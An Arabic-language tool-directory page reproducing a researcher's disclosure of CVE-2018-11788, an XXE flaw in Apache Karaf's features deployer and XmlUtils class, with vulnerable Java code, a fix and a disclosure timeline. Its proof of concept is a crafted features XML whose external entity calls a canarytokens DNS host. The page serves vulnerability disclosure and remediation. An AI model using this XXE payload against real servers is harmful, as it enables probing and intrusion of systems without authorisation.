Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2018-11788 — ثغرة XXE في Apache Karaf (CVE-2018-11788) | Kitploit
أدوات/GitHubGitHub/brianwrf/cve-2018-11788
تحليل الثغرات الأمنيةتحليل الكودالاستغلالاستغلال تطبيقات الويبالأوراق والأبحاثالتعلم والتعليم
GitHubbrianwrf/cve-2018-11788

CVE-2018-11788

ثغرة XXE في Apache Karaf (CVE-2018-11788)

عرض المستودع
376منذ 7 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

ملخص

Apache Karaf هو حاوية تطبيقات حديثة ومتعددة الأشكال. إنها حاوية خفيفة وقوية وجاهزة للمؤسسات تعمل بواسطة OSGi. Apache Karaf هو "مشروع منتج"، يوفر بيئة تشغيل كاملة وجاهزة للتشغيل. بيئة التشغيل "متعددة الأوجه"، مما يعني أنه يمكنك نشر أنواع مختلفة من التطبيقات: تطبيقات OSGi أو غير OSGi، تطبيقات ويب، تطبيقات قائمة على الخدمات، إلخ.

في بحث حديث حول Apache Karaf، وجدت بعض ثغرات XXE (حقن الكيانات الخارجية XML) في محللي XML الخاص به. السبب هو أن المحللين يقومون بتحليل مستند XML بشكل غير صحيح.

الإصدارات المتأثرة

  • Apache Karaf <= 4.2.1
  • Apache Karaf <= 4.1.6

التحليل

وفقًا للدليل الرسمي، يوفر Apache Karaf أداة نشر للميزات (features deployer) بشكل افتراضي، والتي تتيح للمستخدمين "النشر السريع" لملف XML للميزات عن طريق إسقاط الملف مباشرة في مجلد النشر.

عندما تقوم بإسقاط ملف XML للميزات في مجلد النشر، يقوم أداة نشر الميزات بما يلي:

  • تسجيل ملف XML للميزات كمستودع للميزات
  • الميزات التي تكون سمة التثبيت فيها مضبوطة على "auto" سيتم تثبيتها تلقائيًا بواسطة أداة نشر الميزات.

على سبيل المثال، فإن إسقاط ملف XML التالي في مجلد النشر سيؤدي إلى تثبيت feature1 و feature2 تلقائيًا، بينما لن يتم تثبيت feature3:

root@kitploit:~
<?xml version="1.0" encoding="UTF-8"?>
<features name="my-features" xmlns="http://karaf.apache.org/xmlns/features/v1.3.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xsi:schemaLocation="http://karaf.apache.org/xmlns/features/v1.3.0 http://karaf.apache.org/xmlns/features/v1.3.0">

    <feature name="feature1" version="1.0" install="auto">
        ...
    </feature>

    <feature name="feature2" version="1.0" install="auto">
        ...
    </feature>

    <feature name="feature3" version="1.0">
        ...
    </feature>

</features>

لمعرفة كيفية معالجة أداة النشر لملف XML، قمت بمراجعة الكود المصدري لـ Karaf على GitHub ووجدت الاستدعاءات التالية:

  • يستدعي الفصل Activator الدالة doStart() لبدء مستمع لأداة النشر
  • تستدعي الدالة doStart() الدالة FeatureDeploymentListener.init() لتهيئة مستمع
  • ثم تستدعي الدوال bundleChanged - canHandle - getRootElementName لتحليل مستند XML باستخدام XMLInputFactory

ولكن عند مزيد من التحقيق في الدالة getRootElementName كما هو أدناه، لا يوجد أي حماية ضد XXE.

root@kitploit:~
private QName getRootElementName(File artifact) throws Exception {
    if (xif == null) {
        xif = XMLInputFactory.newFactory();
        xif.setProperty(XMLInputFactory.IS_NAMESPACE_AWARE, true);
    }
    try (InputStream is = new FileInputStream(artifact)) {
        XMLStreamReader sr = xif.createXMLStreamReader(is);
        sr.nextTag();
        return sr.getName();
    }
}

لذلك، افترضت أنها تشكل خطرًا أمنيًا محتملاً لـ Apache Karaf.

إثبات المفهوم

للتحقق من افتراضي، قمت باختبار أحدث إصدار رسمي من Apache Karaf 4.2.0 الذي تم تنزيله من https://karaf.apache.org/download.html كالتالي:

  1. قم بتنزيل التوزيعة الثنائية من Apache Karaf 4.2.0
  2. قم بفك ضغط الحزمة وانتقل إلى مجلد bin لبدء وحدة تحكم أوامر Karaf كما هو موضح أدناه
root@kitploit:~
  bin$ ./karaf
          __ __                  ____      
         / //_/____ __________ _/ __/      
        / ,<  / __ `/ ___/ __ `/ /_        
       / /| |/ /_/ / /  / /_/ / __/        
      /_/ |_|\__,_/_/   \__,_/_/         

    Apache Karaf (4.2.0)

  Hit '<tab>' for a list of available commands
  and '[cmd] --help' for help on a specific command.
  Hit '<ctrl-d>' or type 'system:shutdown' or 'logout' to shutdown Karaf.

  karaf@root()>
  1. قم بتوليد رمز DNS على https://canarytokens.org/generate ، على سبيل المثال 27av6zyg33g8q8xu338uvhnsc.canarytokens.com
  2. قم بصياغة ملف XML وأضف كيانًا خارجيًا مع رمز DNS المُولَّد المُضمن في DTDs كما يلي:
root@kitploit:~
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://27av6zyg33g8q8xu338uvhnsc.canarytokens.com"> %dtd;]
<features name="my-features" xmlns="http://karaf.apache.org/xmlns/features/v1.3.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xsi:schemaLocation="http://karaf.apache.org/xmlns/features/v1.3.0 http://karaf.apache.org/xmlns/features/v1.3.0">
    <feature name="deployer" version="2.0" install="auto">
    </feature>
</features>
  1. انسخ ملف XML المُصاغ إلى مجلد deploy
root@kitploit:~
apache-karaf-4.2.0$ cd deploy/
deploy$ tree
.
├── README
└── poc.xml
  1. انتظر قليلاً، ثم ستشاهد طلبات DNS من جهاز الاختبار الخاص بك، مما يعني أن محلل XML يحاول تحميل الكيانات الخارجية المضمنة في DTDs

التخفيف

اتبع دليل OWASP أدناه الذي يوفر معلومات موجزة لمنع هذه الثغرة. https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet#Java

على سبيل المثال، إضافة الكود أدناه لتعطيل DTDs والكيانات الخارجية في الدالة getRootElementName.

root@kitploit:~
xif.setProperty(XMLInputFactory.SUPPORT_DTD, false); // This disables DTDs entirely for that factory
xif.setProperty("javax.xml.stream.isSupportingExternalEntities", false); // disable external entities

معلومات إضافية

بالإضافة إلى النتيجة المذكورة أعلاه، وجدت أيضًا فئة أخرى XmlUtils في مشروع Apache Karaf لم تُضف أي حماية من ثغرة XXE عند تحليل مستند XML.

root@kitploit:~
package org.apache.karaf.util;

import java.io.File;
import java.io.IOException;
import java.io.InputStream;

import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;
import javax.xml.parsers.SAXParserFactory;
import javax.xml.transform.Result;
import javax.xml.transform.Source;
import javax.xml.transform.Transformer;
import javax.xml.transform.TransformerConfigurationException;
import javax.xml.transform.TransformerException;
import javax.xml.transform.TransformerFactory;

import org.w3c.dom.Document;
import org.xml.sax.ErrorHandler;
import org.xml.sax.SAXException;
import org.xml.sax.XMLReader;

/**
 * Utils class to manipulate XML document in a thread safe way.
 */
public class XmlUtils {

    private static final ThreadLocal<DocumentBuilderFactory> DOCUMENT_BUILDER_FACTORY = new ThreadLocal<>();
    private static final ThreadLocal<TransformerFactory> TRANSFORMER_FACTORY = new ThreadLocal<>();
    private static final ThreadLocal<SAXParserFactory> SAX_PARSER_FACTORY = new ThreadLocal<>();

    public static Document parse(String uri) throws TransformerException, IOException, SAXException, ParserConfigurationException {
        DocumentBuilder db = documentBuilder();
        try {
            return db.parse(uri);
        } finally {
            db.reset();
        }
    }

    public static Document parse(InputStream stream) throws TransformerException, IOException, SAXException, ParserConfigurationException {
        DocumentBuilder db = documentBuilder();
        try {
            return db.parse(stream);
        } finally {
            db.reset();
        }
    }

    public static Document parse(File f) throws TransformerException, IOException, SAXException, ParserConfigurationException {
        DocumentBuilder db = documentBuilder();
        try {
            return db.parse(f);
        } finally {
            db.reset();
        }
    }

    public static Document parse(File f, ErrorHandler errorHandler) throws TransformerException, IOException, SAXException, ParserConfigurationException {
        DocumentBuilder db = documentBuilder();
        db.setErrorHandler(errorHandler);
        try {
            return db.parse(f);
        } finally {
            db.reset();
        }
    }

    public static void transform(Source xmlSource, Result outputTarget) throws TransformerException {
        Transformer t = transformer();
        try {
            t.transform(xmlSource, outputTarget);
        } finally {
            t.reset();
        }
    }

    public static void transform(Source xsltSource, Source xmlSource, Result outputTarget) throws TransformerException {
        Transformer t = transformer(xsltSource);
        try {
            t.transform(xmlSource, outputTarget);
        } finally {
            t.reset();
        }
    }

    public static XMLReader xmlReader() throws ParserConfigurationException, SAXException {
        SAXParserFactory spf = SAX_PARSER_FACTORY.get();
        if (spf == null) {
            spf = SAXParserFactory.newInstance();
            spf.setNamespaceAware(true);
            SAX_PARSER_FACTORY.set(spf);
        }
        return spf.newSAXParser().getXMLReader();
    }

    public static DocumentBuilder documentBuilder() throws ParserConfigurationException {
        DocumentBuilderFactory dbf = DOCUMENT_BUILDER_FACTORY.get();
        if (dbf == null) {
            dbf = DocumentBuilderFactory.newInstance();
            dbf.setNamespaceAware(true);
            DOCUMENT_BUILDER_FACTORY.set(dbf);
        }
        return dbf.newDocumentBuilder();
    }

    public static Transformer transformer() throws TransformerConfigurationException {
        TransformerFactory tf = TRANSFORMER_FACTORY.get();
        if (tf == null) {
            tf = TransformerFactory.newInstance();
            TRANSFORMER_FACTORY.set(tf);
        }
        return tf.newTransformer();
    }

    private static Transformer transformer(Source xsltSource) throws TransformerConfigurationException {
        TransformerFactory tf = TRANSFORMER_FACTORY.get();
        if (tf == null) {
            tf = TransformerFactory.newInstance();
            TRANSFORMER_FACTORY.set(tf);
        }
        return tf.newTransformer(xsltSource);
    }

}

الجدول الزمني

  • 2018-08-22: تم الإبلاغ عن هذه المشكلة لفريق أمان Apache.
  • 2018-09-26: أكد فريق Apache Karaf المشكلة وأصلحها في KARAF-5911.
  • 2018-11-30: تم إصدار Apache Karaf 4.1.7 مع الإصلاح.
  • 2018-12-18: تم إصدار Apache Karaf 4.2.2 مع الإصلاح.
  • 2019-01-06: أعلن Apache Karaf عن CVE-2018-11788 بهذا الشأن.

المراجع

  • https://karaf.apache.org/security/cve-2018-11788.txt
  • https://issues.apache.org/jira/browse/KARAF-5911
  • https://gitbox.apache.org/repos/asf?p=karaf.git;h=cc3332e
  • https://gitbox.apache.org/repos/asf?p=karaf.git;h=1ffa6d1
  • http://avfisher.win/archives/1052
تنزيل الأداة